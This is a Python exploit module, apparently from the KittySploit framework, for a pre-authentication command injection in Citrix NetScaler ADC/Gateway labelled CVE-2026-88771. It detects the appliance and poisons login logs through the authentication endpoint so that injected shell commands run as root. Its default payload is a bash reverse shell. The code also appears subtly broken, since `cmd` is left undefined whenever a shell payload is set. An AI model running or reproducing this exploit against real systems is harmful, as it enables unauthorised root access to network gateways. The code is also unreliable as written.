Citrix NetScaler Pre-Auth Command Injection (CVE-2026-88771)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Citrix NetScaler pre-auth command injection RCE (CVE-2026-88771)."""
import re
import ssl
import urllib.parse
from requests.adapters import HTTPAdapter
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'Citrix NetScaler Pre-Auth Command Injection (CVE-2026-88771)', 'description': 'Exploits CVE-2026-88771 in Citrix NetScaler ADC/Gateway: attacker-controlled login values are logged and later interpolated into ns_monuploadd_err.pl shell commands, yielding root command execution. Sends the pitboss/PPE log-poisoning payload via /nf/auth/doAuthentication.do (watchTowr pattern).', 'author': ['KittySploit Team'], 'cve': ['CVE-2026-88771'], 'platform': Platform.MULTI, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': ['https://nvd.nist.gov/vuln/detail/CVE-2026-88771', 'https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/', 'https://support.citrix.com/s/article/CTX697096'], 'tags': ['citrix', 'netscaler', 'adc', 'gateway', 'command-injection', 'pre-auth', 'rce', 'kev'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 3, 'reversible': False, 'approval_required': True, 'produces': ['exploit_paths', 'rce'], 'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': 'ns_monuploadd_err.pl log injection'}, {'capability': 'shell', 'from_detail': 'root command execution'}], 'suggested_followups': ['scanner/http/citrix_netscaler_cve_2026_88771_detect']}}}
    _PITBOSS_PREFIX = 'pitboss PPE unexpectedly died NSPPE'
    _BUILD_RE = re.compile('(?:NS(?:13|14)\\.\\d[-\\w.]+|NetScaler\\s+\\d{2}\\.\\d[-\\w.]*)', re.IGNORECASE)
    auth_path = OptString('/nf/auth/doAuthentication.do', 'AAA authentication endpoint', required=False, advanced=True)
    marker_path = OptString('/var/tmp/kittysploit_88771', 'Remote marker file for id probe (when no reverse payload)', required=False, advanced=True)
    force_pickup = OptBool(True, 'Attempt secondary logon trigger after poisoning (may speed pickup on some builds)', required=False, advanced=True)

    def _configure_netscaler_ssl(self):

        class _NetscalerSSLAdapter(HTTPAdapter):

            def init_poolmanager(self, *args, **kwargs):
                ctx = ssl.create_default_context()
                ctx.set_ciphers('DEFAULT@SECLEVEL=1')
                ctx.check_hostname = False
                kwargs['ssl_context'] = ctx
                return super().init_poolmanager(*args, **kwargs)
        self.session.mount('https://', _NetscalerSSLAdapter())

    @staticmethod
    def _build_injection(command: str) -> str:
        cmd = (command or '').strip()
        if ';' in cmd or '`' in cmd:
            raise ProcedureError(FailureType.ConfigurationError, 'Command must not contain ; or backticks')
        return f'{Module._PITBOSS_PREFIX};:{cmd};# X'

    def _netscaler_present(self) -> bool:
        for path in ('/vpn/index.html', '/logon/LogonPoint/index.html'):
            r = self.http_request(method='GET', path=path, allow_redirects=True)
            if not r:
                continue
            blob = f"{r.text or ''}\n{r.headers}".lower()
            if any((token in blob for token in ('netscaler', 'citrix', 'nsc_', 'cvpn'))):
                return True
        return False

    def _send_log_poison(self, login_payload: str) -> bool:
        path = str(self.auth_path or '/nf/auth/doAuthentication.do')
        data = {'login': login_payload, 'passwd': 'x', 'savecredentials': 'false', 'nsg-x1-logon-button': 'Log On'}
        r = self.http_request(method='POST', path=path, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data=urllib.parse.urlencode(data), allow_redirects=False)
        if not r:
            return False
        body = r.text or ''
        return int(r.status_code or 0) in (200, 302) and ('AuthenticateResponse' in body or 'citrix' in body.lower())

    def _trigger_pickup(self) -> None:
        login = urllib.parse.urlencode({'login': self._PITBOSS_PREFIX, 'passwd': 'x', 'savecredentials': 'false'})
        self.http_request(method='GET', path=f'/logon/LogonPoint/index.html?{login}', allow_redirects=False)

    def check(self):
        try:
            self._configure_netscaler_ssl()
        except Exception:
            pass
        if not self._netscaler_present():
            return {'vulnerable': False, 'reason': 'NetScaler gateway not detected', 'confidence': 'high'}
        probe = self._send_log_poison(f'{self._PITBOSS_PREFIX} probe')
        if probe:
            return {'vulnerable': True, 'reason': 'NetScaler accepts pitboss/PPE login log injection', 'confidence': 'high'}
        return {'vulnerable': True, 'reason': 'NetScaler present — injection may still work', 'confidence': 'medium'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            cmd = f"id>{str(self.marker_path or '/var/tmp/kittysploit_88771')}"
        print_status('CVE-2026-88771 — Citrix NetScaler log-poison command injection')
        try:
            self._configure_netscaler_ssl()
        except Exception as exc:
            print_warning(f'NetScaler SSL adapter setup failed: {exc}')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        try:
            login_payload = self._build_injection(cmd)
        except ProcedureError as exc:
            print_error(str(exc))
            return False
        print_status(f'Poisoning logs with injection payload ({len(login_payload)} bytes)...')
        if not self._send_log_poison(login_payload):
            print_error('Failed to deliver log-poison authentication request')
            return False
        print_success('Log-poison payload accepted — command runs when ns_monuploadd_err.pl executes')
        if bool(self.force_pickup):
            print_status('Sending secondary pitboss trigger to encourage log processing...')
            self._trigger_pickup()
        print_warning('Execution may be delayed until ns_monuploadd_err.pl runs (up to ~24h on some builds). Check listener or marker file on the appliance.')
        self.vulnerable()
        return True